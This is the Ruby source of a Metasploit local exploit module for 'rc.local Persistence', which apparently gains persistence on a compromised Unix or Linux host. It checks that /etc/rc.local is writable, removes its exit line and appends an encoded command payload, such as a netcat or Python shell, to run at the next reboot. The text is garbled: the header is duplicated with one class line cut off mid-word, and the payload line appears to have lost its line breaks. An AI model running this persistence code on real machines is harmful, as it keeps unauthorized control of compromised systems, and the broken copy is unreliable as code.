rc.local Payload Persistence Module

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exp ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::Unix

def initialize(info = {})
super(update_info(info,
'Name' => 'rc.local Persistence',
'Description' => %q(
This module will edit /etc/rc.local in order to persist a payload.
The payload will be executed on the next reboot.
),
'License' => MSF_LICENSE,
'Author' => [ 'Eliott Teissonniere' ],
'Platform' => [ 'unix', 'linux' ],
'Arch' => ARCH_CMD,
'Payload' => {
'BadChars' => "#% ",
'Compat' => {
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic python ruby netcat perl'
}
},
'SessionTypes' => [ 'shell', 'meterpreter' ],
'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => 'true' },
'DisclosureDate' => 'Oct 01 1980', # The rc command appeared in 4.0BSD.
'Targets' => [ ['Automatic', {}] ],
'DefaultTarget' => 0
))
end

def exploit
unless cmd_exec("test -w '/etc/rc.local' && echo true").include? 'true'
fail_with Failure::BadConfig, '/etc/rc.local is not writable'
end

print_status('Reading /etc/rc.local')

# read /etc/rc.local, but remove `exit 0`
rc_local = read_file('/etc/rc.local').gsub(/^exit.*$/, '')

# add payload and put back `exit 0`
rc_local << " #{payload.encoded} exit 0 "

# write new file
print_status('Patching /etc/rc.local')
write_file('/etc/rc.local', rc_local)
end
end